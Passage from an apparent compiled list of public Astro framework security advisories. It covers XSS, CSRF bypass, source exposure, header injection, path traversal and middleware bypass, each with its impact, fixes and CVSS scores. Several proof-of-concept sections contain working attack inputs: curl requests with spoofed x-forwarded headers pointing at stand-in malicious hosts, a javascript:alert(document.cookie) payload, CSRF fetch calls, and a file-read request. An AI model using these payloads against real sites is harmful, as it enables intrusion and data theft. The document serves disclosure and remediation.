import { ViewTransitions } from "astro:transitions"; import "../styles/global.css"; const { pageTitle } = Astro.props; --- <html lang="en"> <head> <meta charset="utf-8" /> <link rel="icon" type="image/svg+xml" href="/favicon.svg" /> <meta name="viewport" content="width=device-width" /> <meta name="generator" content={Astro.generator} /> <title>{pageTitle}</title> <ViewTransitions /> </head> <body> <!--USER INPUT--> <iframe name="scripts">alert(1)</iframe> <iframe name="scripts">alert(1)</iframe> <!--USER INPUT--> <Header /> <h1>{pageTitle}</h1> <slot /> <Footer /> <script> import "../scripts/menu.js"; </script> </body> </html> ``` ##### Impact This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with `ViewTransitions` and store the user-inserted scriptless HTML tags without properly sanitizing the `name` attributes on the page. ##### Patch We recommend replacing `document.scripts` with `document.getElementsByTagName('script')` for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the `name` attribute. ##### Reference Similar issues for reference: + Webpack ([CVE-2024-43788](https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)) + Vite ([CVE-2024-45812](https://github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3)) + layui ([CVE-2024-47075](https://github.com/layui/layui/security/advisories/GHSA-j827-6rgf-9629)) #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:H` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-m85w-3h95-hcf9](https://github.com/withastro/astro/security/advisories/GHSA-m85w-3h95-hcf9) - [https://nvd.nist.gov/vuln/detail/CVE-2024-47885](https://nvd.nist.gov/vuln/detail/CVE-2024-47885) - [https://github.com/withastro/astro/commit/a4ffbfaa5cb460c12bd486fd75e36147f51d3e5e](https://github.com/withastro/astro/commit/a4ffbfaa5cb460c12bd486fd75e36147f51d3e5e) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/blob/7814a6cad15f06931f963580176d9b38aa7819f2/packages/astro/src/transitions/router.ts#L135-L156](https://github.com/withastro/astro/blob/7814a6cad15f06931f963580176d9b38aa7819f2/packages/astro/src/transitions/router.ts#L135-L156) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m85w-3h95-hcf9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Atro CSRF Middleware Bypass (security.checkOrigin) [CVE-2024-56140](https://nvd.nist.gov/vuln/detail/CVE-2024-56140) / [GHSA-c4pw-33h3-35xw](https://github.com/advisories/GHSA-c4pw-33h3-35xw) <details> <summary>More information</summary> #### Details ##### Summary A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks. ##### Details When the `security.checkOrigin` configuration option is set to `true`, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts) For example, with the following Astro configuration: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@&#8203;astrojs/node'; export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), }); ``` A request like the following would be blocked if made from a different origin: ```js // fetch API or <form action="https://test.example.com/" method="POST"> fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbidden ``` However, a vulnerability exists that can bypass this security. ##### Pattern 1: Requests with a semicolon after the `Content-Type` A semicolon-delimited parameter is allowed after the type in `Content-Type`. Web browsers will treat a `Content-Type` such as `application/x-www-form-urlencoded; abc` as a [simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) and will not perform preflight validation. In this case, CSRF is not blocked as expected. ```js fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200). ``` ##### Pattern 2: Request without `Content-Type` header The `Content-Type` header is not required for a request. The following examples are sent without a `Content-Type` header, resulting in CSRF. ```js // Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' }); // Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), }); ``` ##### Impact Bypass CSRF protection implemented with CSRF middleware. > [!Note] > Even with `credentials: 'include'`, browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure. #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw](https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw) - [https://nvd.nist.gov/vuln/detail/CVE-2024-56140](https://nvd.nist.gov/vuln/detail/CVE-2024-56140) - [https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de](https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de) - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts](https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c4pw-33h3-35xw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro's server source code is exposed to the public if sourcemaps are enabled [CVE-2024-56159](https://nvd.nist.gov/vuln/detail/CVE-2024-56159) / [GHSA-49w6-73cw-chjr](https://github.com/advisories/GHSA-49w6-73cw-chjr) <details> <summary>More information</summary> #### Details ##### Summary A bug in the build process allows any unauthenticated user to read parts of the server source code. ##### Details During build, along with client assets such as css and font files, the sourcemap files **for the server code** are moved to a publicly-accessible folder. https://github.com/withastro/astro/blob/176fe9f113fd912f9b61e848b00bbcfecd6d5c2c/packages/astro/src/core/build/static-build.ts#L139 Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website. While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in `src/pages`) are predictably named. For example. the sourcemap file for `src/pages/index.astro` gets named `dist/client/pages/index.astro.mjs.map`. ##### PoC Here is one example of an affected open-source website: https://creatorsgarten.org/pages/index.astro.mjs.map <image width="500" height="263" src="https://github.com/user-attachments/assets/773c5532-87af-42b8-838e-8f5472bf9f68"/> The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code. <image width="500" height="271" src="https://github.com/user-attachments/assets/7d35d0ca-3a29-4666-be21-cfefe311ac9d"/> The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro <image width="500" height="298" src="https://github.com/user-attachments/assets/39e77197-8382-4556-a024-c526dacccc1c"/> The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com ([search results link](https://github.com/search?q=path%3Aastro.config.mjs+%40sentry%2Fastro&type=code)): ``` path:astro.config.mjs @&#8203;sentry/astro ``` This vulnerability is the root cause of https://github.com/withastro/astro/issues/12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the `dist/client` (referred to as `config.build.client` in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains `.map` files corresponding to the code that runs on the server. ##### Impact All **server-output** (SSR) projects on Astro 5 versions **v5.0.3** through **v5.0.6** (inclusive), that have **sourcemaps enabled**, either directly or through an add-on such as [sentry](https://github.com/getsentry/sentry-javascript/blob/develop/packages/astro/src/integration/index.ts#L50), are affected. The fix for **server-output** projects was released in **astro@5.0.7**. Additionally, all **static-output** (SSG) projects built using Astro 4 versions **4.16.17 or older**, or Astro 5 versions **5.0.7 or older**, that have **sourcemaps enabled** are also affected. The fix for **static-output** projects was released in **astro@5.0.8**, and backported to Astro v4 in **astro@4.16.18**. The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code. There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code . There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability. - Network attack vector. - Low attack complexity. - No privileges required. - No interaction required from an authorized user. - Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed. ##### Remediation The fix for **server-output** projects was released in **astro@5.0.7**, and the fix for **static-output** projects was released in **astro@5.0.8** and backported to Astro v4 in **astro@4.16.18**. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:L` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr](https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr) - [https://nvd.nist.gov/vuln/detail/CVE-2024-56159](https://nvd.nist.gov/vuln/detail/CVE-2024-56159) - [https://github.com/withastro/astro/issues/12703](https://github.com/withastro/astro/issues/12703) - [https://github.com/withastro/astro/commit/039d022b1bbaacf9ea83071d27affc5318e0e515](https://github.com/withastro/astro/commit/039d022b1bbaacf9ea83071d27affc5318e0e515) - [https://github.com/withastro/astro/commit/c879f501ff01b1a3c577de776a1f7100d78f8dd5](https://github.com/withastro/astro/commit/c879f501ff01b1a3c577de776a1f7100d78f8dd5) - [https://github.com/getsentry/sentry-javascript/blob/develop/packages/astro/src/integration/index.ts#L50](https://github.com/getsentry/sentry-javascript/blob/develop/packages/astro/src/integration/index.ts#L50) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/blob/176fe9f113fd912f9b61e848b00bbcfecd6d5c2c/packages/astro/src/core/build/static-build.ts#L139](https://github.com/withastro/astro/blob/176fe9f113fd912f9b61e848b00bbcfecd6d5c2c/packages/astro/src/core/build/static-build.ts#L139) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-49w6-73cw-chjr) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro allows unauthorized third-party images in _image endpoint [CVE-2025-55303](https://nvd.nist.gov/vuln/detail/CVE-2025-55303) / [GHSA-xf8x-j4p2-f749](https://github.com/advisories/GHSA-xf8x-j4p2-f749) <details> <summary>More information</summary> #### Details ##### Summary In affected versions of `astro`, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served. ##### Details On-demand rendered sites built with Astro include an `/_image` endpoint which returns optimized versions of images. The `/_image` endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the [`image.domains`](https://docs.astro.build/en/reference/configuration-reference/#imagedomains) or [`image.remotePatterns`](https://docs.astro.build/en/reference/configuration-reference/#imageremotepatterns) options). However, a bug in impacted versions of `astro` allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. `/_image?href=//example.com/image.png`. ##### Proof of Concept 1. Create a new minimal Astro project (`astro@5.13.0`). 2. Configure it to use the Node adapter (`@astrojs/node@9.1.0` — newer versions are not impacted): ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@&#8203;astrojs/node'; export default defineConfig({ adapter: node({ mode: 'standalone' }), }); ``` 3. Build the site by running `astro build`. 4. Run the server, e.g. with `astro preview`. 5. Append `/_image?href=//placehold.co/600x400` to the preview URL, e.g. <http://localhost:4321/_image?href=//placehold.co/600x400> 6. The site will serve the image from the unauthorized `placehold.co` origin. ##### Impact Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content. In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG. #### Severity - CVSS Score: 6.4 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-xf8x-j4p2-f749](https://github.com/withastro/astro/security/advisories/GHSA-xf8x-j4p2-f749) - [https://nvd.nist.gov/vuln/detail/CVE-2025-55303](https://nvd.nist.gov/vuln/detail/CVE-2025-55303) - [https://github.com/withastro/astro/commit/4d16de7f95db5d1ec1ce88610d2a95e606e83820](https://github.com/withastro/astro/commit/4d16de7f95db5d1ec1ce88610d2a95e606e83820) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xf8x-j4p2-f749) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro's `X-Forwarded-Host` is reflected without validation [CVE-2025-61925](https://nvd.nist.gov/vuln/detail/CVE-2025-61925) / [GHSA-5ff5-9fcw-vg88](https://github.com/advisories/GHSA-5ff5-9fcw-vg88) <details> <summary>More information</summary> #### Details ##### Summary When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an `X-Forwarded-Host` header that is reflected when using the recommended `Astro.url` property as there is no validation that the value is safe. ##### Details Astro reflects the value in `X-Forwarded-Host` in output when using `Astro.url` without any validation. It is common for web servers such as nginx to route requests via the `Host` header, and forward on other request headers. As such as malicious request can be sent with both a `Host` header and an `X-Forwarded-Host` header where the values do not match and the `X-Forwarded-Host` header is malicious. Astro will then return the malicious value. This could result in any usages of the `Astro.url` value in code being manipulated by a request. For example if a user follows guidance and uses `Astro.url` for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party. As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users. Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues. ##### PoC - Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server - `nvm use` - `yarn run build` - `node ./dist/server/entry.mjs` - `curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'` - Observe that the response reflects the malicious `X-Forwarded-Host` header For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above `curl` request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted. ##### Impact This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-5ff5-9fcw-vg88](https://github.com/withastro/astro/security/advisories/GHSA-5ff5-9fcw-vg88) - [https://nvd.nist.gov/vuln/detail/CVE-2025-61925](https://nvd.nist.gov/vuln/detail/CVE-2025-61925) - [https://github.com/withastro/astro/commit/6ee63bfac4856f21b4d4633021b3d2ee059e553f](https://github.com/withastro/astro/commit/6ee63bfac4856f21b4d4633021b3d2ee059e553f) - [https://github.com/Chisnet/minimal_dynamic_astro_server](https://github.com/Chisnet/minimal_dynamic_astro_server) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5ff5-9fcw-vg88) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro Development Server has Arbitrary Local File Read [CVE-2025-64757](https://nvd.nist.gov/vuln/detail/CVE-2025-64757) / [GHSA-x3h8-62x9-952g](https://github.com/advisories/GHSA-x3h8-62x9-952g) <details> <summary>More information</summary> #### Details ##### Summary A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. ##### Details - **Title**: Arbitrary Local File Read in Astro Development Image Endpoint - **Type**: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - **Component**: `/packages/astro/src/assets/endpoint/node.ts` - **Affected Versions**: Astro v5.x development builds (confirmed v5.13.3) - **Attack Vector**: Network (HTTP GET request) - **Authentication Required**: None The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an `href` parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths. **Vulnerable Code Location**: `packages/astro/src/assets/endpoint/node.ts` ```typescript // Vulnerable code in development mode if (import.meta.env.DEV) { fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src))); } else { // Production has proper path validation // ... security checks omitted in dev mode } ``` The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory. ##### PoC ##### Attack Prerequisites 1. Astro development server must be running (`astro dev`) 2. The `/_image` endpoint must be accessible to the attacker 3. Target image files must be readable by the Node.js process ##### Exploit Steps 1. Start Astro Development Server: ```bash astro dev # Typically runs on http://localhost:4321 ``` 2. Craft Malicious Request: ```http GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321 ``` 3. Example Attack: ```bash curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png ``` ##### Demonstration Results **Test Environment**: macOS with Astro v5.13.3 **Successful Exploitation**: - Target: `/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg` - Response: HTTP 200 OK, Content-Type: image/png - Exfiltration: 303 bytes (100x100 PNG) - File Created: `stolen-image.png` containing processed system image **Attack Payload**: ``` http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png ``` **Server Response**: ``` Status: 200 OK Content-Type: image/png Content-Length: 303 ``` ##### Impact ##### Confidentiality Impact: HIGH - **Scope**: Any image file readable by the Node.js process - **Exfiltration Method**: Complete file contents via HTTP response (transformed to PNG) ##### Integrity Impact: NONE - The vulnerability only allows reading files, not modification ##### Availability Impact: NONE - No direct impact on system availability - Potential for resource exhaustion through repeated large image requests ##### Affected Components ##### Primary Component - **File**: `packages/astro/src/assets/endpoint/node.ts` - **Function**: `loadLocalImage()` - **Lines**: Development mode branch (~25-35) ##### Secondary Components - **File**: `packages/astro/src/assets/endpoint/generic.ts` - **Impact**: Uses different code path, not directly vulnerable - **Note**: Implements proper remote allowlist validation #### Severity - CVSS Score: 3.5 / 10 (Low) - Vector String: `CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-x3h8-62x9-952g](https://github.com/withastro/astro/security/advisories/GHSA-x3h8-62x9-952g) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64757](https://nvd.nist.gov/vuln/detail/CVE-2025-64757) - [https://github.com/withastro/astro/commit/b8ca69b97149becefaf89bf21853de9c905cdbb7](https://github.com/withastro/astro/commit/b8ca69b97149becefaf89bf21853de9c905cdbb7) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-x3h8-62x9-952g) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass [CVE-2025-64525](https://nvd.nist.gov/vuln/detail/CVE-2025-64525) / [GHSA-hr2q-hp5q-x767](https://github.com/advisories/GHSA-hr2q-hp5q-x767) <details> <summary>More information</summary> #### Details ##### Summary In impacted versions of Astro using [on-demand rendering](https://docs.astro.build/en/guides/on-demand-rendering/), request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are: - Middleware-based protected route bypass (only via `x-forwarded-proto`) - DoS via cache poisoning (if a CDN is present) - SSRF (only via `x-forwarded-proto`) - URL pollution (potential SXSS, if a CDN is present) - WAF bypass ##### Details The `x-forwarded-proto` and `x-forwarded-port` headers are used without sanitization in two parts of the Astro server code. The most important is in the `createRequest()` function. Any configuration, including the default one, is affected: [https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97) [https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121) These header values are then used directly to construct URLs. By injecting a payload at the protocol level during URL creation (via the `x-forwarded-proto` header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing. If the following header value is injected when requesting the path `/ssr`: ``` x-forwarded-proto: https://www.malicious-url.com/?tank= ``` The complete URL that will be created is: `https://www.malicious-url.com/?tank=://localhost/ssr` As a reminder, URLs are created like this: ``` url = new URL(`${protocol}://${hostnamePort}${req.url}`); ``` The value is injected at the beginning of the string (`${protocol}`), and ends with a query `?tank=` whose value is the rest of the string, `://${hostnamePort}${req.url}`. This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section. The same logic applies to `x-forwarded-port`, with a few differences. > [!NOTE] > The `createRequest` function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack. ##### PoC The PoC will be tested with a minimal repository: - Latest Astro version at the time (`2.16.0`) - The Node adapter - Two simple pages, one SSR (`/ssr`), the other simulating an admin page (`/admin`) protected by a middleware - A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path [Download the PoC repository](https://github.com/zhero-web-sec/astro-app) ##### Middleware-based protected route bypass - x-forwarded-proto only The middleware has been configured to protect the `/admin` route based on [the official documentation](https://docs.astro.build/en/guides/authentication/): ```ts // src/middleware.ts import { defineMiddleware } from "astro/middleware"; export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // auth logic if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); }); ``` 1. When tryint to access `/admin` the attacker is naturally redirected : ```sh curl -i http://localhost:4321/admin ``` <img width="620" height="102" alt="image" src="https://github.com/user-attachments/assets/15a7bffc-ee56-4ed9-84b2-091cf4d78351" /> 2. The attackr can bypass the middleware path check using a malicious header value: ```sh curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin ``` <img width="1348" height="159" alt="image" src="https://github.com/user-attachments/assets/d9d9ac1a-5efa-452b-981e-efea8a08d089" /> ##### How ​​is this possible? Here, with the payload `x:admin?`, the attacker can use the URL API parser to their advantage: - `x:` is considered the protocol - Since there is no `//`, the parser considers there to be no authority, and everything before the `?` character is therefore considered part of the path: `admin` During a path-based middleware check, the *path* value begins with a `/`: `context.url.pathname === "/admin"`. However, this is not the case with this payload; `context.url.pathname === "admin"`, the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page. ##### SSRF As seen, the request URL is built from untrusted input via the `x-forwarded-protocol` header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF). Example of code reusing the "origin" URL, concatenating it to the API endpoint : <img width="601" height="418" alt="image" src="https://github.com/user-attachments/assets/9c374b2c-841c-48d6-98f1-3b3f5b060802" /> ##### DoS via cache poisoning If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable. A `404` cab be forced, causing an error on the `/ssr` page like this : `curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr` <img width="998" height="108" alt="image" src="https://github.com/user-attachments/assets/4bab58e5-3045-4e25-9aa2-2f72a0832d86" /> Same logic applies to `x-forwarded-port` : `curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr` ##### How ​​is this possible? The router sees the request for the path `/vulnerable`, which does not exist, and therefore returns a `404`, while the potential CDN sees `/ssr` and can then cache the `404` response, consequently serving it to all users requesting the path `/ssr`. ##### URL pollution The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning. If the value of `request.url` is used to create links within the page, this can lead to Stored XSS with `x-forwarded-proto` and the following value: ``` x-forwarded-proto: javascript:alert(document.cookie)// ``` results in the following URL object: <img width="444" height="202" alt="image" src="https://github.com/user-attachments/assets/c2990626-da5b-4868-9093-dbb9b34780ba" /> It is also possible to inject any link, always, if the value of `request.url` is used on the server side to create links. ``` x-forwarded-proto: https://www.malicious-site.com/bad? ``` **The attacker is more limited with `x-forwarded-port`** If the value of `request.url` is used to create links within the page, this can lead to broken links, with the header and the following value: ``` X-Forwarded-Port: /nope? ``` Example of an Astro website: <img width="1627" height="298" alt="Capture d’écran 2025-11-03 à 22 07 14" src="https://github.com/user-attachments/assets/02de5e67-f48d-4bf4-810d-6b0714ad2c12" /> ##### WAF bypass For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was `x-forwarded-host` in their case: [https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path](https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path) Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there. ##### CVE-2025-61925 complete bypass It is possible to completely bypass the vulnerability patch related to the `X-Forwarded-Host` header. By sending `x-forwarded-host` with an empty value, the `forwardedHostname` variable is assigned an empty string. Then, during [the subsequent check](https://github.com/withastro/astro/blob/7a5f28006e9b1f6ad77c7884991ba551ca9ff35b/packages/astro/src/core/app/node.ts#L107), the condition fails because `forwardedHostname ` returns `false`, its value being an empty string: ``` if (forwardedHostname && !App.validateForwardedHost(...)) ``` Consequently, the implemented check is bypassed. From this point on, since the request has no `host` (*its value being an empty string*), the path value is retrieved by the URL parser to set it as the `host`. This is because the `http/https` schemes are considered special schemes by the [WHATWG URL Standard Specification](https://url.spec.whatwg.org/#scheme-state), requiring an `authority state`. From there, the following request on the example SSR application (astro repo) yields an SSRF: <img width="1878" height="456" alt="Capture d’écran 2025-11-06 à 21 18 26" src="https://github.com/user-attachments/assets/c5cca89c-9c65-46f6-bf70-cd7a90a9e0d9" /> *empty `x-forwarded-host` + the target `host` in the path* ##### Credits - Allam Rachid ([zhero;](https://zhero-web-sec.github.io/research-and-things/)) - Allam Yasser (inzo) #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767](https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64525](https://nvd.nist.gov/vuln/detail/CVE-2025-64525) - [https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4](https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121) - [https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hr2q-hp5q-x767) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values [CVE-2025-64765](https://nvd.nist.gov/vuln/detail/CVE-2025-64765) / [GHSA-ggxq-hp9w-j794](https://github.com/advisories/GHSA-ggxq-hp9w-j794) <details> <summary>More information</summary> #### Details A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies `decodeURI()` to determine which route to render, while the middleware uses `context.url.pathname` without applying the same normalization (decodeURI). This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks. https://github.com/withastro/astro/blob/ebc4b1cde82c76076d5d673b5b70f94be2c066f3/packages/astro/src/vite-plugin-astro-server/request.ts#L40-L44 ```js /** The main logic to route dev server requests to pages in Astro. */ export async function handleRequest({ pipeline, routesList, controller, incomingRequest, incomingResponse, }: HandleRequest) { const { config, loader } = pipeline; const origin = `${loader.isHttps() ? 'https' : 'http'}://${ incomingRequest.headers[':authority'] ?? incomingRequest.headers.host }`; const url = new URL(origin + incomingRequest.url); let pathname: string; if (config.trailingSlash === 'never' && !incomingRequest.url) { pathname = ''; } else { // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe // to not handle the error: 